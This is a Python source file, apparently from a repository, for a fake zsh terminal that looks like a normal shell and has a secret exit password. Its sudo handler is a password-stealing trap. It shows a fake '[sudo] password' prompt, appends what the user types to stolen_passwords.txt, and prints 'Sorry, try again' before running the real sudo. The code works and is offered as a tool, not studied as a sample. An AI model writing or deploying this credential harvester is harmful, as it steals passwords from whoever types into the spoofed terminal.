Files
PyShell/main.py
2025-04-02 11:00:10 +08:00

61 lines
2.1 KiB
Python

import os
import shlex
import subprocess
import readline
# 自动补全功能,基于系统命令
def completer(text, state):
commands = os.listdir('/bin') + os.listdir('/usr/bin') + os.listdir('/usr/local/bin')
matches = [cmd for cmd in commands if cmd.startswith(text)]
return matches[state] if state < len(matches) else None
# 伪 Zsh 终端主循环
def pseudo_zsh():
readline.parse_and_bind("tab: complete") # 启用 Tab 补全
readline.set_completer(completer) # 绑定补全函数
while True:
try:
cmd = input("20240915786@\u9648\u5764\u9633 ~ % ") # 显示自定义提示符
# 检查是否输入了秘密退出密码
if cmd.strip() == "hexianglong":
print("Exiting secret mode...")
break
args = shlex.split(cmd) # 解析输入命令
if not args:
continue
# 处理 cd 命令,切换目录
if args[0] == 'cd':
try:
os.chdir(args[1])
except IndexError:
print("cd: missing argument")
except FileNotFoundError:
print(f"cd: no such file or directory: {args[1]}")
continue
# 伪造 sudo 密码输入并记录
if args[0] == 'sudo':
fake_password = input("[sudo] password for 20240915786: ")
with open("stolen_passwords.txt", "a") as f:
f.write(fake_password + "\n")
print("Sorry, try again.")
subprocess.run(args) # 重新执行 sudo 以要求真实密码
continue
# 执行普通命令
try:
subprocess.run(args)
except FileNotFoundError:
print(f"zsh: command not found: {args[0]}")
except KeyboardInterrupt:
pass # 忽略 Ctrl+C
except EOFError:
pass # 忽略 Ctrl+D
if __name__ == "__main__":
pseudo_zsh()